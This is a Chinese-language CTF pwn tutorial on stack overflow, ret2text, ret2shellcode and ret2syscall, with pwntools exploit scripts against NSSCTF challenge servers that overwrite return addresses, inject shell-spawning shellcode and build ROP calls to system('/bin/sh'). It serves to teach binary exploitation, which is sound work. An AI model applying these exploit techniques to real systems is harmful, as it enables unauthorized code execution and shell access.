栈溢出
通过写入超出数组定义范围的字符长度达到溢出,从而覆盖栈上其余数据,覆盖返回地址约等于控制程序执行流
例如:
经过ida反编译后,发现这里要将v2的值修改为11.28125才能获得flag,同时我们可以发现这里使用了gets这个函数,gets函数是存在非常直接的栈溢出漏洞的,我们可以往v1内写入无限长的数据,同时我们可以ida里看到,v1的范围是44个字节,v2的位置在v1末尾距离栈顶有4个字节,大小也为4个字节,栈的总大小为0x30也就是48个字节
那么我们就可以通过v2溢出覆盖v1的值为11.28125,同时我们还需要得到11.28125在汇编里的16进制
找到func函数,并且找到其中汇编的浮点数比较语句
可以看到11.28125的地址为4001F4,同时继续跟进也可以得到其值为41348000h
那么我们就可以编写脚本
from pwn import *
p=remote("node4.anna.nssctf.cn",28918)
payload=b'a'*0x2c+p64(0x41348000) #0x2c个字符a用于覆盖v1变量,p64(0x41348000)用于覆盖v2
p.recvline()#接收程序向我们输出的信息
p.sendline(payload)#发送payload
p.interactive()#开启交互
运行后得到flag
ret2text
原理
劫持控制流,返回到程序自身代码段(.text)中已有的指令片段(gadgets)。
通常利用程序中已有的
system()
或危险函数(如execve
)的代码片段。
例题:[BJDCTF 2020]babystack
通过ida打开发现注入点read函数,buf变量可以覆盖,并且其范围是12字节,还有一个nbytes变量为4字节
发现存在后门函数backdoor
于是试想利用栈溢出覆盖返回地址为后门函数的地址从而执行后门函数
编写脚本,查看后门函数地址
这里我们要先传入nbytes来控制buf变量接收的字节数
from pwn import *
p=remote("node4.anna.nssctf.cn",28602)
payload=b'a'*0x18+p64(0x4006e6)
p.sendlineafter('name:','500')#在收到‘name’字符串后发送字符串‘500’给变量nbytes
p.sendline(payload)
p.interactive()
运行后成功控制
ret2shellcode
原理
将控制流劫持到用户输入的shellcode(一段恶意机器指令)。
shellcode通常写入栈、堆或全局变量(需可执行权限)。
例题:[HNCTF 2022 Week1]ret2shellcode
使用checksec检查发现是64位程序,并且开启了NX等保护
在ida中没有寻找到后门函数,并且题目也提示了,就是让我们自己写入一串shell并调用,但是为什么开启了NX保护还是ret2shellcode呢
其源码如下
#include<stdio.h>
char buff[256];
int main()
{setbuf(stdin,0);setbuf(stderr,0);setbuf(stdout,0);mprotect((long long)(&stdout)&0xfffffffffffff000,0x1000,7);char buf[256];memset(buf,0,0x100);read(0,buf,0x110);strcpy(buff,buf);return 0;
}
其中漏洞主要就在
mprotect((long long)(&stdout)&0xfffffffffffff000,0x1000,7);
read(0,buf,0x110);
strcpy(buff,buf);
这三条代码上,定义了buff变量范围为256个字节,然后这里可以向buf写入272(0x110)个字节,再把buf复制到buff变量上从而造成溢出,而mprotect((long long)(&stdout)&0xfffffffffffff000,0x1000,7);这条代码又使.bss段可执行,.bss段存放着全局变量,而buff就是一个全局变量,这就导致了ret2shellcode
所以我们只需要将我们的shell写入buff变量再将返回地址覆盖成buff的地址就可以执行shell了
编写exp
from pwn import *
context.arch="amd64"#设置目标框架为x86-64位也就是64位系统
io=remote('node5.anna.nssctf.cn',24184)
payload=asm(shellcraft.sh()).ljust(264,b'a')+p64(0x4040a0)
io.sendline(payload)
io.interactive()
执行脚本后成功得到shell
ret2syscall
原理
通过ROP链直接调用系统调用(syscall),如
execve("/bin/sh", 0, 0)
。需构造寄存器参数(x86_64下:
rax=59
,rdi="/bin/sh"
,rsi=0
,rdx=0
)。
构造ROP链:
32位:
mov eax,0xb
mov ebx,["/bin/sh"]
mov ecx,0
mov edx,0
int 0x80 注意这里int不是整型的意思而是interrupt中断的意思
64位:
mov rax,59
mov rdi,"/bin/sh"
mov rsi,0
mov rdx,0
syscall
等于execve("/bin/sh",NULL,NULL)
例题:[WUSTCTF 2020]getshell2
使用checksec查看文件,为32位程序并且打开NX
在ida中查看源码,发现没有让栈或堆可执行的代码,那么就无法ret2shellcode了。
继续观察,发现存在假的后门函数,但是system()函数是实实在在存在的,有利用价值
同时漏洞点也给的非常明确了,就在vulnerable函数里,我们通过溢出buf变量,修改返回地址位我们构造的rop链,同时我们要填充的范围也可以得到为28个字节
前面得到call system的地址为0x08048529,再使用ROPgadget寻找/bin/sh字符串
成功找到sh,其地址为0x08048670
于是编写exp
from pwn import *
io=remote('node5.anna.nssctf.cn',23104)
payload=b'a'*28+p32(0x08048529)+p32(0x08048670)
io.sendline(payload)
io.interactive()
执行后获得shell